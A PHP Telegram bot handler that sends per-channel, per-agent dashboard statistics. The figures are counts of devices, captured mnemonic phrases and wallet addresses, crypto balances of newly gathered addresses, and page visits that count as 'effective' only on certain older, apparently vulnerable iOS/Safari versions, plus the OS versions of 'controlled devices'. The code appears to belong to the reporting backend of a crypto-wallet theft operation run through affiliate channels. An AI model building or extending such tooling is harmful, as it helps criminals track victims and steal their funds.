<?php

namespace App\Telegram\Handlers;

use App\Models\Channel;
use App\Services\DashboardStatsService;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;

class DataCommand
{
    public function __construct(
        private readonly DashboardStatsService $stats,
        private readonly TelegramBotContext $context,
    ) {}

    public function __invoke(Nutgram $bot, ?string $args = null): void
    {
        $parts = preg_split('/\s+/', trim((string) $args)) ?: [];
        $parts = array_values(array_filter($parts, fn ($p) => $p !== ''));

        $days = null;
        $channelId = '';

        if (isset($parts[0]) && in_array($parts[0], ['1', '7', '30'], true)) {
            $days = $parts[0];
            $channelId = $parts[1] ?? '';
        } elseif (isset($parts[0])) {
            $parsed = $this->parseChannelId($parts[0]);
            if ($parsed === null) {
                $bot->sendMessage(
                    "Usage: /data [1|7|30] [channelId]\n"
                    ."Omit days for today. Omit channelId for all channels.\n"
                    ."channelId: 旧版 32 位 hex，或新版 X.Y.ZZ（如 0.0.01）"
                );

                return;
            }
            $channelId = $parsed;
        }

        if ($channelId !== '') {
            $parsed = $this->parseChannelId($channelId);
            if ($parsed === null) {
                $bot->sendMessage('channelId 无效（需 32 位 hex 或新版 X.Y.ZZ）');

                return;
            }
            $channelId = $parsed;
        }

        $agent = $this->context->agent();

        if ($agent !== null && $channelId !== '') {
            $owned = Channel::query()
                ->where('user_id', $agent->id)
                ->where('channel_id', $channelId)
                ->exists();
            if (! $owned) {
                $bot->sendMessage('⛔ 无权查看该渠道');

                return;
            }
        }

        try {
            $range = $this->stats->rangeFromDays($days);
        } catch (\InvalidArgumentException $e) {
            $bot->sendMessage($e->getMessage());

            return;
        }

        $data = $this->stats->collect([
            'range' => $range,
            'channel_id' => $channelId,
            'channel_exact' => $channelId !== '',
            'agent' => $agent,
        ]);

        $channelLabel = $this->channelLabel($channelId, $agent !== null);

        $lines = [
            '📊 仪表盘统计',
            '区间: '.$data['from'].' ~ '.$data['to'],
            '渠道: '.$channelLabel,
            '',
            '📦 设备与资产（区间内）',
            '总设备: '.$data['wallet_count'].' / '.$data['total'].' (有钱包/全部)',
            '新增设备: '.$data['new_count'],
            '活跃设备: '.$data['active_count'],
            '助记词: '.$data['mnemonic_count'],
            '钱包地址: '.$data['address_count'],
            '',
            '💰 总余额（区间内新增地址）',
            '• USDT '.$data['balances']['usdt'],
            '• TRX '.$data['balances']['trx'],
            '• BTC '.$data['balances']['btc'],
            '• ETH '.$data['balances']['eth'],
            '• BNB '.$data['balances']['bnb'],
            '',
            '🌐 页面访问',
            '页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)',
            '页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)',
            '有效口径: iOS 13–17.2.1 / 18.1.1 / 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 / 18.7 / 18.7.1 / 18.7.2 + Safari，不含 15.8.8 / 16.7.10+',
            '',
            '访问 · 按系统 (UV / 占比):',
        ];

        foreach ($data['by_os'] as $row) {
            $lines[] = sprintf('• %s  UV %d  %s%%', $row['label'], $row['uv'], $row['pct']);
        }

        $lines[] = '';
        $lines[] = '访问 · 按 iOS 版本 (UV / 占比):';
        if ($data['by_ios_version'] === []) {
            $lines[] = '• 暂无';
        } else {
            foreach ($data['by_ios_version'] as $row) {
                $lines[] = sprintf('• %s  UV %d  %s%%', $row['label'], $row['uv'], $row['pct']);
            }
        }

        $lines[] = '';
        $lines[] = '受控设备 · 系统版本分布:';
        if ($data['by_device_ios_version'] === []) {
            $lines[] = '• 暂无';
        } else {
            foreach ($data['by_device_ios_version'] as $row) {
                $lines[] = sprintf('• %s  %d 台  %s%%', $row['label'], $row['count'], $row['pct']);
            }
        }

        $bot->sendMessage(implode("\n", $lines));
    }

    /**
     * Accept old 32-hex or new X.Y.ZZ channel ids.
     */
    private function parseChannelId(string $raw): ?string
    {
        $raw = trim($raw);
        if ($raw === '') {
            return '';
        }
        if (preg_match('/^[0-9a-f]{32}$/i', $raw)) {
            return strtolower($raw);
        }

        return Channel::normalizeNewChannelId($raw);
    }

    private function channelLabel(string $channelId, bool $agentScoped): string
    {
        if ($channelId === '') {
            return $agentScoped ? '本代理全部' : '全部';
        }

        $row = Channel::query()->where('channel_id', $channelId)->first(['channel_id', 'remark']);
        if ($row === null) {
            return $channelId;
        }
        $remark = trim((string) ($row->remark ?? ''));

        return $remark !== '' ? $channelId.'/'.$remark : $channelId;
    }
}